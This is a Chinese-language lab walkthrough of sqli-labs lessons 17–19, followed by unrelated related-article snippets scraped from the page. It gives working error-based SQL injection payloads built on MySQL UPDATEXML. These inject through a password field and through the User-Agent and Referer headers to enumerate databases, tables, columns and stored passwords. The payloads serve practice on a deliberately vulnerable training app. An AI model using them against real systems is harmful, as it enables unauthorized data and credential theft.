sql-lib闯关之lesson17-19

闯关前的知识铺垫

参考链接:

https://www.jb51.net/article/125599.htm

https://www.jb51.net/article/125607.htm

UPDATEXML(XML document,XPath string,new value);
第一个参数:XML document 是String 格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath string(Xpath格式的字符串),如果不了解Xpath语法,可以网上查找。
第三个参数:new value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值。
改变XML document中符合XPATH string的值
而我们的注入语句为:
select updatexml(1,concat(0x7e,(SELECT username from security.users limit 0,1),0x7e),1);
其中concat()函数是将其连接成一个字符串,因此不会复合XPATH string的格式,从而出现格式错误,报出
ERROR 1105(HY000):XPATH syntax error:‘~Dumb~’

LESS17

我们在17关的源码中加入以下代码。

加入这两行是为了便于观察,在执行操作后,显示源码
我们进入17关观察以下

这次是密码重置了,也就是修改密码。
同样我们通过burp抓到post的数据包

uname=admin&passwd=adimin&submit=Submit

代码中使用了get_magic_quotes_gpc name和password分开验证,而且在验证的时候对于name进行了过滤处理,将’进行了转义,所以只能在password处注入。

首先我们要知道用户的名字(前提)然后才可以接着进行下面的操作,即在password处进行sql注入。
通过上面补充的知识。我们来构造sql注入语句。
select updatexml(1,concat(0x7e,(构造语句)),1);
select updatexml(1,concat(0x7e,(构造语句),0x7e),1);   跟上面就是多了个~而已 也就是0x7e
构造语句中填写的就是老生常谈的查库查表查列查字段了,但是要注意在最后面加上 limit0,1

查找当前所在数据库:
输入:uname=admin&passwd=a‘ and updatexml(1,concat(0x7e,(database())),1)#&submit=Submit

查库
输入:uname=admin&passwd=a‘ and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 7,1),0x7e),1)#&submit=Submit

查表
输入:uname=admin&passwd=a‘ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security‘  limit 3,1),0x7e),1)#&submit=Submit
查列
输入:uname=admin&passwd=a‘ and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=‘users‘  limit 4,1),0x7e),1)#&submit=Submit

查字段
输入:uname=admin&passwd=a‘ and updatexml(1,concat(0x7e,(select password from security.users limit 0,1),0x7e),1)#&submit=Submit

这样输入竟然错误了,提示我们 你不能在FROM句子中为update 指定目标表 users
网上查一下结局方法
输入:uname=admin&passwd=a‘ and updatexml(1,concat(0x7e,(select password from (select password from security.users limit 0,1)users),0x7e),1)#&submit=Submit

应该是不可以直接查询security.users 要select 查security 才可以,用两个选择(select)

LESS18

刚刚进入18关,通过我们常用的admin 登录,竟然登录失败了,原来是我们在17关把admin的密码更改了,所以登录不上去。我们可以在首页点击第二个,重置数据库,就可以了。

再次登录我们发现登录成功了

通过观察这两次,不难发现

登陆成功:显示ip地址和浏览器版本信息

登陆失败:只显示ip地址

这次我们依旧尝试在密码和账户名后加上 ‘ #,我们发现这次都进行了转意,所以就不能使用sql注入了

18关同样进行输出,最后测试发现可以在http头部user-agent的地方注入。

注意:我在这里使用的都是burpsuite,其实可以用火狐的插件:http header live 虽然用法有区别,但是原理都是一样的。

抓包之后右键发送到Repeater:

然后在数据包的headers部分修改user-agent构造注入语句:

查当前数据库:‘or updatexml(1,concat(0x7e,(database())),1) or ‘1‘=‘1(注意闭合)

或者‘or updatexml(1,concat(0x7e,(database())),1) ,",")#   闭合sql语句
后面的和上一关相同,可以参考。

LESS19

这一关和上一关类似, 登录成功的返回信息变为

Your Referer is: http://localhost/sqli-labs-master/Less-19/

抓包:‘ or updatexml(1,concat(0x7e,(database())),1) and ‘1‘=‘1或者‘ or updatexml(1,concat(0x7e,(database())),1), ‘’)#

 

原文地址:https://www.cnblogs.com/c1047509362/p/12398298.html

时间: 2024-10-30 08:06:51

sql-lib闯关之lesson17-19的相关文章

网页闯关游戏(riddle webgame)--SQL注入的潘多拉魔盒

前言: 之前编写了一个网页闯关游戏(类似Riddle Game), 除了希望大家能够体验一下我的游戏外. 也愿意分享编写这个网页游戏过程中, 学到的一些知识. web开发初学者往往会忽视一些常见的漏洞, 比如SQL注入攻击, XSS攻击. 本文将简述SQL注入攻击的原理, 并分享下关卡设计, 其在打开潘多拉魔盒的情况下, 又能很好地限制危害. 效果展示: 先打下广告: 网页闯关游戏入口(请狠狠地点击我, ^_^). 本文的想法实施于第十一关--健忘的教授. 很直接的呈现一个登陆对话框, 考验玩家

关于“诗词大闯关”的调查表与调查结果分析

前言: 我们小组做的项目是“诗词大闯关”,初步计划为游戏主要内容为:根据界面场景内容猜诗词名,诗词内容. 为了更深入的了解市场人民的需求,我们小组决定制作调查问卷来统计分析玩家对我们项目的关注点以及获取更多人的需求,在短短几天的时间内得到了122份有效的调查问卷. 1.首先我们统计被调查者的年龄段 根据我们的调查结果显示:96.7%的19~38岁的人群接受了我们的调查,故大部分人应该是学生族或者上班族. 2.为了更好的去处理我们的社区模块,我们小组调查了人们经常使用的社交工具 调查显示,使用QQ

某xss挑战赛闯关笔记

0x0 前言 在sec-news发现先知上师傅monika发了一个xss挑战赛的闯关wp([巨人肩膀上的矮子]XSS挑战之旅---游戏通关攻略(更新至18关)https://xianzhi.aliyun.com/forum/read/1462.html),去看了一下发现是前几天刚发现的平台,看了一下那个绕狗教程感觉挺不错的,xss却没有玩,那么正巧就玩一下,顺便学习一波别的师傅的思路. http://xss.tv 闯关地址:http://test.xss.tv 自己做了一些,也看了一下先知mon

射击闯关游戏,旧王已死、新王当立?

射击类游戏的最佳形态是电子竞技?比如<穿越火线> 街机.单机时代的<魂斗罗>.<合金装备>等闯关型射击游戏体验,不再适合移动手游时代? 射击类游戏需要更真实.更热血,最好如昆丁塔伦蒂洛的电影一样,拳拳到肉.血浆横飞?比如<使命召唤>? 曾经占据游戏机.单机和联机游戏极大份额的射击游戏们,在移动时代只能扮演有益补充? 射击类游戏混的似乎不太好?不是没有缘故的,根本原因就是长期自由搏击,而忘记了,其实关卡才是最能吸引用户的所在? 关卡.关卡.关卡!你还在自由搏击

sql-lib闯关秘籍之1-10关

首先尝试定向爆破,以提高手工注入速度,修改limit x,1 中的x查询password是否存在表中,lucky的是limit 3,1的时候查到了password列,同样的方法查询username ,又一个lucky,接下来爆破字段的值.以下所有操作建议在虚拟机中进行~ First  you shoud  have  a 文件夹在你电脑上的例如phpstudy的WWW文件夹中 首先进入这里创建数据库,after that ,let‘s  we  go~ 不管是第几关,我们的最终目标是获得用户密码

sql-lib闯关秘籍之11-20关

下面开始11-20关,之前不会的关卡可以参考我这篇文章: sql-lib闯关秘籍之1-10关 不管是第几关,我们的最终目标是获得用户密码,从而获取最高权限! 以下的学习过程中如果遇到那里不会的或者不清楚的地方,欢迎大家留言,我将尽力帮助大家~ 11到21关的提交方式全是post型的,我这里使用burpsuit抓包软件,也可以用hackbar选中的post,下面的实验我们穿插的使用(用hackbar的时候我们的注释符号用#,不用--+,因为--+会出错) 第十一关 从这一关开始,我们就进入到了PO

sql-lib闯关秘籍之21-30关

下面开始11-20关,之前不会的关卡可以参考我这几篇文章: sql-lib闯关秘籍之1-10关,sql-lib闯关秘籍之11-20关 不管是第几关,我们的最终目标是获得用户密码,从而获取最高权限! 以下的学习过程中如果遇到那里不会的或者不清楚的地方,欢迎大家留言,我将尽力帮助大家~  第二十一关 我们输入用户名密码之后发现是这个样子的,和第20关很像对吧,就是cookie的值变成了一堆字母数字,这是对cookie的值进行了base64的处理,其他和20关一样 获取版本库名(我们只要转码就可以了)

sql-lib闯关秘籍之41-50关

下面开始11-20关,之前不会的关卡可以参考我这几篇文章: sql-lib闯关秘籍之1-10关,sql-lib闯关秘籍之11-20关,sql-lib闯关秘籍之21-30关,sql-lib闯关秘籍之41-50关 不管是第几关,我们的最终目标是获得用户密码,从而获取最高权限! 以下的学习过程中如果遇到那里不会的或者不清楚的地方,欢迎大家留言,我将尽力帮助大家~ 第四十一关 这关和第三十九关一样,只是错误没有回显 获得版本和数据库名   ?id=0 union select 1,version(),d

sql-lib闯关秘籍之61-65关

下面开始11-20关,之前不会的关卡可以参考我这几篇文章: sql-lib闯关秘籍之1-10关,sql-lib闯关秘籍之11-20关,sql-lib闯关秘籍之21-30关,sql-lib闯关秘籍之31-40关 ,sql-lib闯关秘籍之41-50关 ,sql-lib闯关秘籍之51-60关 不管是第几关,我们的最终目标是获得用户密码,从而获取最高权限! 以下的学习过程中如果遇到那里不会的或者不清楚的地方,欢迎大家留言,我将尽力帮助大家~ 马上就要结束了,亲爱的,兴奋吗!!!!!!!! 第六十一关